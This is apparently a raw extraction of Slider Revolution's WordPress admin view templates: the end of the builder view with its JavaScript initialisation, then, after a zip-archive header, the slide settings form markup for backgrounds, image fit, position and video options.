					<div class="main_mode_selector opensettingstrigger" data-forms='["*slidelayout**mode__slidestyle*"]' data-collapse="false" id="module_slide_trigger"><i class=" material-icons">burst_mode</i></div>
					<div class="main_mode_selector opensettingstrigger" data-forms='["*slidelayout**mode__slidecontent*"]' data-collapse="false" id="module_layers_trigger"><i class=" material-icons">layers</i></div>
					<div class="tp-clearfix"></div>
				</div>
				<div id="settings_sticky_info">
					<div id="settings_sticky_left" class="main_mode_submode left blue">Editor View</div>
					<div id="settings_sticky_right" class="main_mode_submode right">Layer options</div>
				</div>
				<div id="optimizeslider" class="rs-save-preview"><i class="material-icons">flash_on</i><?php _e('Optimize File Sizes', 'revslider');?></div>
				<div id="save_slider" class="rs-save-preview"><i class="material-icons">save</i><?php _e('Save', 'revslider');?></div>
				<div id="preview_slider" data-mode="editor" class="rs-save-preview" ><i class="material-icons">search</i><?php _e('Preview', 'revslider');?></div>
			</div>
			<!-- END OF RIGHT TOOLBAR -->
		</div><!-- END OF THE CONTAINER-->

		<?php
		require_once(RS_PLUGIN_PATH . 'admin/views/builder-timeline.php');
		?>
	</div><!-- END OF REVOLUTION BUILDER TOP LEVEL WRAPPER -->

	

	<div id="crumblist"></div>


	<!-- 				-->
	<!--	DIALOGS 	-->
	<!-- 				-->

	<div id="nocustomsize" class="tp-dialog" title="Custom Size is Disabled">
		<span><?php _e('The Current Size is set to "Auto Size". Do you want to continue with Custom Size?', 'revslider');?></span>
	</div>

	<!-- 					-->
	<!--	MOUSEINFOBOX 	-->
	<!-- 					-->

	<div id="mouseInfoBox"></div>

</div>


<script>
	function rs_builder_inits() {
		RVS.LIB.LAYERANIMS = {customLTIn:{},customLTOut:{}};

<?php
if(isset($animationsRaw['in'])){ ?>
		RVS.LIB.LAYERANIMS.in = <?php echo $animationsRaw['in']; ?>;
<?php
}

if(isset($animationsRaw['out'])){ ?>
		RVS.LIB.LAYERANIMS.out = <?php echo $animationsRaw['out']; ?>;
<?php
}
if(isset($animationsRaw['out'])){ ?>
		RVS.LIB.LAYERANIMS.loop = <?php echo $animationsRaw['loop']; ?>;
<?php
}
?>		
		
		//Init Transition Presets
		RVS.LIB.SLTR = JSON.parse(<?php echo (empty($rs_base_transitions)) ? "'{}'" : str_replace('[]', '{}', $rs_f->json_encode_client_side($rs_base_transitions)); ?>);
		RVS.LIB.SLTR_CUSTOM = JSON.parse(<?php echo (empty($rs_custom_transitions)) ? "'{}'" : str_replace('[]', '{}', $rs_f->json_encode_client_side($rs_custom_transitions)); ?>);
		RVS.LIB.SLTR_FAVORIT = JSON.parse(<?php echo (empty($rs_favorite_transitions)) ? "'{}'" : str_replace('[]', '{}', $rs_f->json_encode_client_side($rs_favorite_transitions)); ?>);
		

		//Init Navigation Presets
		RVS.F.migrateNavigation(JSON.parse(<?php echo $rs_f->json_encode_client_side($arr_navigations); ?>));



		//Init Font Types
		<?php if (!empty($json_font_familys)) {?>
		RVS.F.initFontTypes(<?php echo $json_font_familys; ?>);
		<?php }?>

		if (!RVS.V.ignoreAutoStart) RVS.F.loadSlider({id:"<?php echo $slide_id; ?>", alias: "<?php echo $slide_alias; ?>"});
	}


	// INITIALISE PROCESSES
	var RSBUILDERINITS_once = false
	if (document.readyState === "loading") 
		document.addEventListener('readystatechange',function(){
			if ((document.readyState === "interactive" || document.readyState === "complete") && !RSBUILDERINITS_once) {
				RSBUILDERINITS_once = true;
				rs_builder_inits();	
			}
		});
	else {
		RSBUILDERINITS_once = true;
		rs_builder_inits();	
	}

	
	
	<?php
	
	/* temp */
	// delete_option('revslider_hide_tooltips', true);
	
	$showToolTips = get_option('revslider_hide_tooltips');
	$showToolTips = empty($hideToolTips) ? 'true' : 'false';
	?>
	var revSliderToolTips = <?php echo $showToolTips; ?>;

</script>PK�y3\I�#	(�(�views/builder-slide-forms.phpnu�[���<?php
/**
 * Provide a admin area view for the plugin Slide Settings
 *
 * This file is used to markup the admin-facing aspects of the plugin.
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();
?>
<!-- SLIDE SETTINGS -->
<div id="slide_settings">

	<div class="form_collector slide_settings_collector" data-type="sliderconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div class="main_mode_breadcrumb_wrap"><div class="main_mode_submode"><?php _e('Slide Options', 'revslider');?></div></div>
		<div class="gso_wrap" id="slide_menu_gso_wrap">
			<div id="gst_slide_1" class="slide_submodule_trigger selected opensettingstrigger" data-select="#gst_slide_1" data-unselect=".slide_submodule_trigger" data-collapse="true" data-forms='["#form_slidebg"]'><i class="material-icons">image</i><span class="gso_title"><?php _e('Background', 'revslider');?></span></div><!--
			--><div id="gst_slide_6" data-select="#gst_slide_6" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slide_thumbnail"]'><i class="material-icons">photo_album</i><span class="gso_title"><?php _e('Thumbnail', 'revslider');?></span></div><!--
			--><div id="gst_slide_2" data-select="#gst_slide_2" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slide_transition"]'><i class="material-icons">movie</i><span class="gso_title"><?php _e('Animation', 'revslider');?></span></div><!--
			--><div id="gst_slide_5" class="slide_submodule_trigger opensettingstrigger" data-select="#gst_slide_5" data-unselect=".slide_submodule_trigger" data-collapse="true" data-forms='["#form_slidebg_filters"]'><i class="material-icons">blur_on</i><span class="gso_title"><?php _e('Filters', 'revslider');?></span></div><!--
			--><div id="gst_slide_8" data-select="#gst_slide_8" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slide_progress"]'><i class="material-icons">timer</i><span class="gso_title"><?php _e('Progress', 'revslider');?></span></div><!--
			--><div id="gst_slide_9" data-select="#gst_slide_9" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slide_publish"]'><i class="material-icons">access_time</i><span class="gso_title"><?php _e('Pub. Rules', 'revslider');?></span></div><!--
			--><div id="gst_slide_4" data-select="#gst_slide_4" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slidegeneral"]'><i class="material-icons">code</i><span class="gso_title"><?php _e('Tags & Link', 'revslider');?></span></div><!--
			--><div id="gst_slide_10" data-select="#gst_slide_10" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slidestatic"]'><i class="material-icons">album</i><span class="gso_title"><?php _e('Static Layer', 'revslider');?></span></div><!--
			--><div id="gst_slide_3" data-select="#gst_slide_3" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger slidebg_image_settings slidebg_external_settings slide_bg_settings" data-collapse="true" data-forms='["#form_slide_kenburn_outter"]'><i id="gst_kenburns_title_icon" class="material-icons">leak_add</i><span id="gst_kenburns_title" class="gso_title"><?php _e('Ken Burns', 'revslider');?></span></div><!--
			--><div id="gst_slide_7" data-select="#gst_slide_7" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slide_parameters"]'><i class="material-icons">info</i><span class="gso_title"><?php _e('Params', 'revslider');?></span></div><!--
			--><div id="gst_slide_11" data-select="#gst_slide_11" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger callEvent" data-evt="updateSlideLoopRange" data-collapse="true" data-forms='["#form_slide_loops"]'><i class="material-icons">repeat_one</i><span class="gso_title"><?php _e('Loop Layers', 'revslider');?></span></div><!--
			--><div id="gst_slide_12" data-select="#gst_slide_12" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slide_onscroll"]'><i class="material-icons">system_update_alt</i><span class="gso_title"><?php _e('On Scroll', 'revslider');?></span></div>
			<?php
if ($wpml->wpml_exists()) {
	?>
<div id="gst_slide_13" data-select="#gst_slide_13" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slide_wpml"]'><i class="material-icons">language</i><span class="gso_title"><?php _e('WPML', 'revslider');?></span></div>
			<?php 
} 
?>
		</div>
	</div>


	<!-- SLIDE BACKGROUND -->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slidebg"  class="formcontainer form_menu_inside" data-select="#gst_slide_1"  >
			<!--<div class="collectortabwrap"><div id="collectortab_form_slidebg" class="collectortab form_menu_inside" data-forms='["#form_slidebg"]'><i class="material-icons">filter_hdr</i><?php _e('Background', 'revslider');?></div></div>-->
			<!-- SOURCE -->
			<div id="form_slidebg_source" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">link</i><?php _e('Source', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fbg_l1_1"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Type', 'revslider');?></label_a><div class="input_with_buttonextenstion"><select id="slide_bg_type" data-available=".sss_for_*val*" data-unavailable=".sss_notfor_*val*" data-updatetext="selected_slide_source" data-triggerinp="#slide_bg_*val*_alt,#slide_bg_*val*_title" data-evt="updateslidebasic" data-evtparam="kenburnupdate" data-show=".slidebg_*val*_settings" data-hide=".slide_bg_settings" class="slideinput tos2 nosearchbox easyinit "  data-r="bg.type"><option value="image"><?php _e('Image', 'revslider');?></option><option value="external"><?php _e('External Image', 'revslider');?></option><option value="trans"><?php _e('Transparent', 'revslider');?></option><option value="solid"><?php _e('Colored', 'revslider');?></option><option value="youtube"><?php _e('YouTube Video', 'revslider');?></option><option value="vimeo"><?php _e('Vimeo Video', 'revslider');?></option><option value="html5"><?php _e('HTML5 Video', 'revslider');?></option></select>
						<div class="buttonextenstion slidebg_image_settings slidebg_external_settings slide_bg_settings slidebg_youtube_settings slidebg_html5_settings slidebg_vimeo_settings">
							<input class="dontseeme" id="slide_bg_image_path" />
							<div class="basic_action_button copyclipboard onlyicon dark_action_button" data-clipboard-action="copy" data-clipboard-target="#slide_bg_image_path"><i class="material-icons">link</i></div>
						</div>
					</div><!--
					--><div class="slidebg_image_settings slide_bg_settings">
						<label_a></label_a><div id="slide_bg_image_btn" data-evt="updateslidebasic" data-evtparam="kenburnupdate" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType" class="getImageFromMediaLibrary basic_action_button longbutton callEventButton"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
						<label_a></label_a><div id="slide_object_library_btn" data-evt="updateslidebasic" data-evtparam="double" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType" class="getImageFromObjectLibrary basic_action_button longbutton callEventButton"><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>
					</div><!--
					--><div class="slidebg_external_settings slide_bg_settings">
						<label_a><?php _e('Source', 'revslider');?></label_a><input id="s_ext_src" data-evt="updateslidebasic" data-evtparam="kenburnupdate" class="slideinput easyinit" type="text" data-r="bg.externalSrc" placeholder="<?php _e('Enter Image URL', 'revslider');?>">
						<label_a><?php _e('', 'revslider');?></label_a><div data-evt="updateslidebasic" data-evtparam="kenburnupdate" class="basic_action_button  longbutton callEventButton"><i class="material-icons">refresh</i><?php _e('Refresh Source', 'revslider');?></div>
					</div><!--
					--><div class="slidebg_solid_settings slide_bg_settings">
						<label_a><?php _e('BG Color', 'revslider');?></label_a><input type="text" data-evt="updateslidebasic" data-editing="<?php _e('Background Color', 'revslider');?>" name="slide_bg_color" id="s_bg_color" data-visible="true" class="my-color-field slideinput easyinit" data-r="bg.color" value="#fff">
					</div><!--
					--><div class="slidebg_trans_settings slide_bg_settings">						
					</div><!--
					--><div class="slidebg_youtube_settings slide_bg_settings">
						<label_a><?php _e('YouTube ID', 'revslider');?></label_a><input id="s_bg_youtube_src" data-evt="updateslidebasic" class="slideinput easyinit" type="text" data-r="bg.youtube" placeholder="<?php _e('Enter YouTube ID', 'revslider');?>">
						<div class="div25"></div>
						<label_a><?php _e('Poster Image', 'revslider');?></label_a><div data-r="#slide#.slide.bg.image" data-f="#slide#.slide.bg.youtube" data-evtparam="double" data-evt="updateslidebasic" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType"  class="getImageFromYouTube basic_action_button longbutton "><i class="material-icons">style</i><?php _e('YouTube Poster', 'revslider');?></div>
						<label_a></label_a><div data-evt="updateslidebasic" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" class="getImageFromMediaLibrary basic_action_button longbutton"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
						<label_a></label_a><div data-evt="updateslidebasic" data-evtparam="double" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType" class="getImageFromObjectLibrary basic_action_button longbutton callEventButton"><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>
						<label_a></label_a><div data-evt="updateslidebasic" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" class="removePosterImage basic_action_button longbutton"><i class="material-icons">delete</i><?php _e('Remove', 'revslider');?></div><span class="linebreak"></span>
					</div><!--
					--><div class="slidebg_vimeo_settings slide_bg_settings">
						<label_a><?php _e('Vimeo ID', 'revslider');?></label_a><input id="s_bg_vimeo_src" data-evt="updateslidebasic" class="slideinput easyinit" type="text" data-r="bg.vimeo" placeholder="<?php _e('Enter Vimeo ID', 'revslider');?>">
						<div class="div25"></div>
						<label_a><?php _e('Poster Image', 'revslider');?></label_a><div data-r="#slide#.slide.bg.image" data-f="#slide#.slide.bg.vimeo" data-evtparam="double" data-evt="updateslidebasic" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType"  class="getImageFromVimeo basic_action_button longbutton "><i class="material-icons">style</i><?php _e('Vimeo Poster', 'revslider');?></div>
						<label_a></label_a><div data-evt="updateslidebasic" data-evtparam="double" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType"  class="getImageFromMediaLibrary basic_action_button  longbutton"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
						<label_a></label_a><div data-evt="updateslidebasic" data-evtparam="double" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType" class="getImageFromObjectLibrary basic_action_button longbutton callEventButton"><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>						
						<label_a></label_a><div data-evt="updateslidebasic" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" class="removePosterImage basic_action_button longbutton"><i class="material-icons">delete</i><?php _e('Remove', 'revslider');?></div><span class="linebreak"></span>
					</div><!--
					--><div class="slidebg_html5_settings slide_bg_settings">
						<label_a><?php _e('MPEG', 'revslider');?></label_a><input id="s_bg_mpeg_src" data-evt="updateslidebasic" class="slideinput easyinit nmarg" type="text" data-r="bg.mpeg" placeholder="<?php _e('Enter MPEG Source', 'revslider');?>">
						<label_a></label_a><div data-evt="updateslidebasicmpeg" data-target="#s_bg_mpeg_src" data-rid="#slide#.slide.bg.videoId" class="getVideoFromMediaLibrary basic_action_button longbutton "><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
						<label_a></label_a><div data-evt="updateslidebasic" data-target="#s_bg_mpeg_src" data-r="bg.mpeg" class="getVideoFromObjectLibrary basic_action_button longbutton "><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>
						<!--<label_a><?php _e('WEBM', 'revslider');?></label_a><div class="input_with_buttonextenstion"><input id="s_bg_webm_src" data-evt="updateslidebasic" class="slideinput easyinit nmarg" type="text" data-r="bg.mpeg" placeholder="<?php _e('Optional WEBM Source', 'revslider');?>"><div data-evt="updateslidebasic" data-target="#s_bg_webm_src" class="getVideoFromMediaLibrary basic_action_button onlyicon dark_action_button callEventButton"><i class="material-icons">style</i></div></div>-->
						<!--<label_a><?php _e('OGV', 'revslider');?></label_a><div class="input_with_buttonextenstion"><input id="s_bg_ogv_src" data-evt="updateslidebasic" class="slideinput easyinit nmarg" type="text" data-r="bg.ogv" placeholder="<?php _e('Optional OGV Source', 'revslider');?>"><div data-evt="updateslidebasic" data-target="#s_bg_ogv_src" class="getVideoFromMediaLibrary basic_action_button  onlyicon dark_action_button callEventButton"><i class="material-icons">style</i></div></div>-->
						<div class="div25"></div>
						<label_a><?php _e('Poster Image', 'revslider');?></label_a><div data-evt="gethtml5posterimage" data-evtparam="slide" class="basic_action_button longbutton callEventButton"><i class="material-icons">linked_camera</i><?php _e('Get Start Frame', 'revslider');?></div>
						<label_a></label_a><div data-evt="updateslidebasic" data-evtparam="double" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType" class="getImageFromMediaLibrary basic_action_button longbutton "><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
						<label_a></label_a><div  data-evt="updateslidebasic" data-evtparam="double" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType" class="getImageFromObjectLibrary basic_action_button longbutton callEventButton"><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>						
						<!--<label_a></label_a><div data-evt="updateslidebasic" class="basic_action_button longbutton "><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>-->
						<label_a></label_a><div data-evt="updateslidebasic" data-r="#slide#.slide.bg.image" data-rid="#slide#.slide.bg.imageId" data-lib="#slide#.slide.bg.imageLib" data-sty="#slide#.slide.bg.imageSourceType" class="removePosterImage basic_action_button longbutton"><i class="material-icons">delete</i><?php _e('Remove', 'revslider');?></div><span class="linebreak"></span>
					</div><!--					
					--><div class="slidebg_image_settings slidebg_vimeo_settings slidebg_html5_settings slidebg_youtube_settings slide_bg_settings">
						<div style="display:none"><label_a class="singlerow"><?php _e('Used Library', 'revslider');?></label_a><select class="slideinput easyinit" data-r="bg.imageLib" data-show="#slidebg_srctype_*val*" data-hide=".slidebg_srctype_all" data-showprio="show"><option value="">Nothing</option><option value="objectlibrary">Objectlibrary</option><option value="medialibrary">MediaLibrary</option></select></div>
						<div id="slidebg_srctype_objectlibrary" class="slidebg_srctype_all"><label_a class="singlerow"><?php _e('Source Type', 'revslider');?></label_a><select data-theme="dark" id="slide_bg_img_ssize_a" class="slideinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="slidebg.object" data-r="bg.imageSourceType"><option value="100" selected="selected"><?php _e("Original", 'revslider');?></option><option value="75" selected="selected"><?php _e("Large", 'revslider');?></option><option value="50" selected="selected"><?php _e("Medium", 'revslider');?></option><option value="25" selected="selected"><?php _e("Small", 'revslider');?></option><option value="10" selected="selected"><?php _e("Extra Small", 'revslider');?></option></select></div>
						<div id="slidebg_srctype_medialibrary" class="slidebg_srctype_all"><label_a class="singlerow"><?php _e('Source Type', 'revslider');?></label_a><select data-theme="dark" id="slide_bg_img_ssize_b" class="slideinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="slidebg.media"  data-r="bg.imageSourceType"><option value="auto" selected="selected"><?php _e("Default Setting", 'revslider');?></option><?php foreach ($img_sizes as $imghandle => $imgSize) { echo '<option value="' . $imghandle . '">' . $imgSize . '</option>';}?></select></div>
					</div><!--
					--><div class="slidebg_html5_settings slide_bg_settings slidebg_vimeo_settings slidebg_youtube_settings slidebg_image_settings slidebg_external_settings"><!--
						--><div class="div25"></div><!--
						--><longoption><i class="material-icons">language</i><label_a ><?php _e('Image from Stream if exists', 'revslider');?></label_a><input type="checkbox" class="easyinit slideinput" data-r="bg.imageFromStream"></longoption><!--
					--></div><!--
					--><div class="slidebg_html5_settings slide_bg_settings slidebg_vimeo_settings slidebg_youtube_settings"><!--
						--><longoption><i class="material-icons">language</i><label_a ><?php _e('Video from Stream if exists', 'revslider');?></label_a><input type="checkbox" class="easyinit slideinput" data-r="bg.videoFromStream"></longoption><!--
					--></div><!--
				--></div>
			</div><!-- SOURCE END -->

			<!-- SOURCE SETTINGS -->
			<div id="form_slidebg_ssettings" class="form_inner open sss_notfor_solid sss_notfor_trans sss_for_image sss_for_external sss_for_youtube sss_for_vimeo sss_for_html5">
				<div class="form_inner_header"><i class="material-icons">chrome_reader_mode</i><span id="selected_slide_source"></span><?php _e('Settings', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fbg_l1_2"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">

					<!-- BACKGROUND / COVER IMAGE SETTINGS -->
<div class="slidebg_image_settings slidebg_external_settings slide_bg_settings">

						<div id="ken_burn_bg_setting_off">
							<div id="slide_bg_settings_wrapper">
								<div id="slide_bg_and_repeat_fit_wrap">
									<label_a><?php _e('BG Fit', 'revslider');?></label_a>
									<div class="radiooption">
										<div><input type="radio" class="slideinput easyinit" value="cover" name="slide_bg_fit"  data-evt="updateslidebasic" data-show=".slide_bg_fit_*val*" data-hide=".slide_bg_fit" data-r="bg.fit"><label_sub>Cover</label_sub></div>
										<div><input type="radio" class="slideinput easyinit" value="contain" name="slide_bg_fit"  data-evt="updateslidebasic" data-show=".slide_bg_fit_*val*" data-hide=".slide_bg_fit" data-r="bg.fit"><label_sub>Contain</label_sub></div>
										<div><input type="radio" class="slideinput easyinit" value="percentage" name="slide_bg_fit"  data-evt="updateslidebasic" data-show=".slide_bg_fit_*val*" data-hide=".slide_bg_fit" data-r="bg.fit"><label_sub>Percentage</label_sub></div>
										<!--<div><input type="radio" class="slideinput easyinit" value="percentagebywrap" name="slide_bg_fit"  data-evt="updateslidebasic" data-show=".slide_bg_fit_*val*" data-hide=".slide_bg_fit" data-r="bg.fit"><label_sub>Percentage by Wrap</label_sub></div>-->
										<div><input type="radio" class="slideinput easyinit" value="auto" name="slide_bg_fit"  data-evt="updateslidebasic" data-show=".slide_bg_fit_*val*" data-hide=".slide_bg_fit" data-r="bg.fit"><label_sub>Auto</label_sub></div>
									</div>
									<div class="div15"></div>

									<div class="slide_bg_fit slide_bg_fit_percentage slide_bg_fit_percentagebywrap">
										<label_a><?php _e('Scale Width', 'revslider');?></label_a><input data-allowed="%" data-numeric="true" id="slide_bg_fitX" data-evt="updateslidebasic" class="slideinput easyinit withsuffix" type="text" data-r="bg.fitX">
									</div>
                  <!-- 
                    @desc wrapper added to toggle this option's visibility for the Distortion AddOn
                    @since 6.4.7
                  -->
                  <div class="slide_bg_repeat">
                    <label_a><?php _e('Repeat', 'revslider');?></label_a><select data-theme="dark" id="slide_bg_repeat"  data-evt="updateslidebasic" class="slideinput tos2 nosearchbox easyinit"  data-r="bg.repeat">
                      <option value="no-repeat" selected="selected">no-repeat</option>
                      <option value="repeat">repeat</option>
                      <option value="repeat-x">repeat-x</option>
                      <option value="repeat-y">repeat-y</option>
                    </select><span class="linebreak"></span>
                  </div>
									<div class="div10"></div>
								</div>
								<label_a><?php _e('Position', 'revslider');?></label_a><select style="display:none !important" data-theme="dark" id="slide_bg_position" data-unselect=".slide_bg_position_selector" data-select="#slide_bg_position_*val*" data-evt="updateslidebasic" data-evtparam="kenburnupdate" data-show=".slide_bg_pos_*val*" data-hide=".slide_bg_pos" class="slideinput easyinit"  data-r="bg.position"><option value="left center"><?php _e('left center', 'revslider');?></option><option value="left bottom"><?php _e('left bottom', 'revslider');?></option><option value="left top"><?php _e('left top', 'revslider');?></option><option value="center top"><?php _e('center top', 'revslider');?></option><option value="center center"><?php _e('center center', 'revslider');?></option><option value="center bottom"><?php _e('center bottom', 'revslider');?></option>																				<option value="right top"><?php _e('right top', 'revslider');?></option><option value="right center"><?php _e('right center', 'revslider');?></option><option value="right bottom"><?php _e('right bottom', 'revslider');?></option><option value="percentage"><?php _e('(x%, y%)', 'revslider');?></option>
								</select><div class="bg_alignselector_wrap"><!--
									--><div class="bg_align_row">
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="left top" id="slide_bg_position_left-top"></div>
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="center top" id="slide_bg_position_center-top"></div>
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="right top" id="slide_bg_position_right-top"></div>
									</div>
									<div class="bg_align_row">
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="left center" id="slide_bg_position_left-center"></div>
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="center center" id="slide_bg_position_center-center"></div>
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="right center" id="slide_bg_position_right-center"></div>
									</div>
									<div class="bg_align_row">
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="left bottom" id="slide_bg_position_left-bottom"></div>
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="center bottom" id="slide_bg_position_center-bottom"></div>
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="right bottom" id="slide_bg_position_right-bottom"></div>
									</div>
									<div class="bg_align_xy">
										<div class="triggerselect slide_bg_position_selector bg_alignselector" data-select="#slide_bg_position" data-val="percentage" id="slide_bg_position_percentage"></div>
										<xy_label><?php _e('X% Y%', 'revslider');?></xy_label>
									</div>
								</div>
								<row class="directrow slide_bg_pos slide_bg_pos_percentage">
									<onelong><label_icon class="ui_x"></label_icon><input id="slide_bg_positionX" data-evt="updateslidebasic" class="slideinput easyinit shortinput" data-numeric="true" data-allowed="%" type="text" data-r="bg.positionX"></onelong>
									<oneshort><label_icon class="ui_y"></label_icon><input id="slide_bg_positionY" data-evt="updateslidebasic" class="slideinput easyinit" data-numeric="true" data-allowed="%" type="text" data-r="bg.positionY"></oneshort>
								</row>

							</div>
						</div>
					</div>


					<!-- HTML ATTRIBUTE ALT FOR BG IMAGE -->
					<div class="slidebg_image_settings slide_bg_settings">
						<label_a><?php _e('"Alt" Attr.', 'revslider');?></label_a><select data-theme="dark" id="slide_bg_image_alt"  data-show=".slide_bg_*val*alt" data-hide=".slide_bg_customalt" class="slideinput tos2 nosearchbox easyinit"  data-r="attributes.altOption">
							<option value="media_library"><?php _e('Media Library', 'revslider');?></option>
							<option value="file_name"><?php _e('Filename', 'revslider');?></option>
							<option value="custom"><?php _e('Custom', 'revslider');?></option>
						</select><span class="linebreak"></span>
					</div>
					<div class="slidebg_image_settings slidebg_external_settings slide_bg_settings slide_bg_customalt">
						<label_a><?php _e('Custom "Alt"', 'revslider');?></label_a><input placeholder='Enter "Alt" Value' id="slide_bg_img_calt" class="slideinput easyinit" type="text" data-r="attributes.alt"><span class="linebreak"></span>
					</div>

					<!-- HTML ATTRIBUTE TITLE FOR BG IMAGE -->
					<div class="slidebg_image_settings slide_bg_settings">
						<label_a><?php _e('"Title" Attr.', 'revslider');?></label_a><select data-theme="dark" id="slide_bg_image_title"  data-show=".slide_bg_*val*title" data-hide=".slide_bg_customtitle" class="slideinput tos2 nosearchbox easyinit"  data-r="attributes.titleOption">
							<option value="media_library"><?php _e('Media Library', 'revslider');?></option>
							<option value="file_name"><?php _e('Filename', 'revslider');?></option>
							<option value="custom"><?php _e('Custom', 'revslider');?></option>
						</select><span class="linebreak"></span>
					</div>

					<div class="slidebg_image_settings slidebg_external_settings slide_bg_settings slide_bg_customtitle">
						<label_a><?php _e('Custom "Title"', 'revslider');?></label_a><input placeholder='Enter "Title" Value' id="slide_bg_img_ctit" class="slideinput easyinit" type="text" data-r="attributes.title"><span class="linebreak"></span>
					</div>
					<!-- HTML ATTRIBUTE WIDTH AND HEIGHT FOR BG IMAGE -->
					<div class="slidebg_external_settings slide_bg_settings">
						<label_a><?php _e('Width Attrib.', 'revslider');?></label_a><input id="slide_bg_width" data-evt="updateslidebasic" class="slideinput easyinit" type="text" data-r="bg.width" data-numeric="true" data-allowed="px">
						<label_a><?php _e('Height Attrib.', 'revslider');?></label_a><input data-numeric="true" data-allowed="px" id="slide_bg_height" data-evt="updateslidebasic" class="slideinput easyinit" type="text" data-r="bg.height">
					</div>
					
					<!-- YOUTUBE / VIMEO HTML5 SETTINGS-->
					<div class="slidebg_html5_settings slide_bg_settings">
						<longoption><i class="material-icons">aspect_ratio</i><label_a><?php _e('Video Fit Cover', 'revslider');?></label_a><input type="checkbox"  id="sl_vid_fit_cover" class="slideinput easyinit" data-r="bg.video.fitCover"/></longoption>						
					</div>
					<div class="slidebg_youtube_settings slidebg_vimeo_settings slidebg_html5_settings slide_bg_settings">
						<div class="div10"></div>
						<label_a><?php _e('Aspect Ratio', 'revslider');?></label_a><select data-theme="dark" id="slide_vid_aratio" class="slideinput tos2 nosearchbox easyinit"  data-r="bg.video.ratio"><option value="16:9">16:9</option><option value="4:3">4:3</option></select><span class="linebreak"></span>									
						<longoption><i class="material-icons">pause</i><label_a ><?php _e('Pause Timer during Play', 'revslider');?></label_a><input type="checkbox" class="easyinit slideinput" data-r="bg.video.pausetimer"></longoption>
